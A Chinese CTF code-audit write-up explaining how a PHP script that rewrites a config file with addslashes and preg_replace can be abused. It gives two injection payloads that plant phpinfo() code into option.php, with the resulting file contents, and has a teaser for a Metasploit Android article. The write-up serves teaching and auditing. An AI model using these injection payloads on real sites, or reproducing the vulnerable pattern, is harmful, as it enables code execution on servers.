前言
专栏名为【代码小审计】,面向CTFer和代码审计新手。基于代码小片段进行讲解,包含但不限于php等语言。此次题目来自:Code-Audit-Challenges: php/challenge-3
Challenge
index.php
<?php $str = addslashes($_GET['option']); $file = file_get_contents('xxxxx/option.php'); $file = preg_replace('|$option='.*';|', "$option='$str';", $file); file_put_contents('xxxxx/option.php', $file);
xxxxx/option.php
$option='test';
Solution
流程如下:
- 对传入的option参数进行addslashes,比如有单引号
'
,会变成'
- 通过正则匹配xxxxx/option.php中的
$option='xxx';
,将xxx的内容替换为经第一步处理的值 - 替换完成,将其写入xxxxx/option.php。
场景: 用于写入配置文件等。
法一
先访问:
?option=aaa';%0aphpinfo();//
经过addslashes后,$str值为 aaa';%0aphpinfo();//
进行正则匹配并写入文件,xxxxx/option.php的内容变为:
<?php $option='aaa'; phpinfo();//'; ?>
再访问:
?option=xxx
正则匹配时,会将两个单引号里的内容即 aaa
,替换为 xxx
,此时xxxxx/option.php的内容变为
<?php $option='xxx'; phpinfo();//'; ?>
最后访问:/xxxxx/option.php
法二
访问:
?option=aaa';phpinfo();//
经过addslashes后,$str为 aaa\';phpinfo();//
经过preg_replace正则匹配后,对做了转义处理,xxxxx/option.php的内容变为:
<?php $option='aaa\';phpinfo();//'; ?>
最后访问:/xxxxx/option.php
Refference
来源:freebuf.com 2018-01-03 16:30:56 by: chybeta
相关推荐: 如何使用Metasploit对安卓手机进行控制 – 作者:凯信特安全团队
如何使用Metasploit对安卓手机进行控制现在大家每天的生活都离不开一样东西——手机。手机上的App给我们的生活带来了许多欢乐与便利,让我们足不出户便能知晓天下事。然而,并不是所有App都是为我们服务的,有些App可能会带着恶意去接近我们。如果你的程序是从…
© 版权声明
文章版权归作者所有,未经允许请勿转载。
THE END
喜欢就支持一下吧
请登录后发表评论
注册